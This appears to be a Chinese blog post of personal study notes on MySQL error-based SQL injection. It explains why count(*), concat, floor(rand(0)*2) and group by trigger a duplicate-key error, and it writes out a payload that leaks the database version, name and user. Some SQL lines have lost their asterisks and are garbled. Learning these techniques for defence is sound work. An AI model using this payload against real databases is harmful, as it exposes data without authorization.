记录--SQL报错注入

这篇文章,写的很详细。但是自己在看的时候有些地方还是需要记录一下。
https://blog.csdn.net/he_and/article/details/80455884

1.首先要知道以下五个函数缺一不可。不信的话你可以试试。
count(*);
concat(str1,str2,…);
floor();
rand();
group by();

分别解释基础用法:
1.1 count();
select count(
) from table_name; 返回表中的记录数
1.2 concat(str1,str2,…);
select concat(‘str1’,‘str2’,…) as a;将多个字符连接在一起
1.3 floor(); 向下取整
select floor(num);
1.4 rand(); 随机生成0-1之间的一个数
select rand();
1.5 group by();对结果进行分组

基本SQL语句:
select count(*) from table_name group by floor(rand(0)*2)

2.报错注入的原理:
执行group by A 时,A是虚拟表的主键,主键的值在虚拟表中是不能重复的,这就是报错的缘由。
然而这重复的关键在于,执行group by A 时,A字段会被重复执行两次。分别发生于,在主表中取A,在虚表中插入A。(注意这中间会有一次比较,但是并没有对字段A进行操作)。
这也就意味着在这个过程中floor(rand(0)*2)会被执行两次,然而由于随机性,这两次的值可能不一样。就达到了报错注入的目的。
这其中的过程可以看上面那篇文章。

3.对报错注入的SQL语句的语法结构进行分析:
基本payloadSQL语句(执行以后会出现和payloadSQL语句同样的错误类型):
select count(*) from table_name group by floor(rand(0)2)
payloadSQL语句:
select count(
),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)2)) x from information_schema.tables group by x;
剖析payloadSQL语句:
select count(
),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x;
这里的x 相当于 基本SQL语句中的 floor(rand(0)*2)
concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))
(select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2)
这里面两个select相当于select(select)里面的是子查询,优先执行。在子查询里面,构造自己的SQL语句

4.至于为什么是floor(rand(0)*2)?
输出的结果比较稳定,前六位是有规律的。

5.不加count(*),就不会报错!
order by()仍然执行两次,取,插。
第一次:实表取0,虚表没有,(因为此时会执行第二次order by A)插入1
第二次:实表取1,虚表有,不插
第三次:实表取1,虚表没有,插入0
以此类推::::::::以后都不插了,所以只返回两条记录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值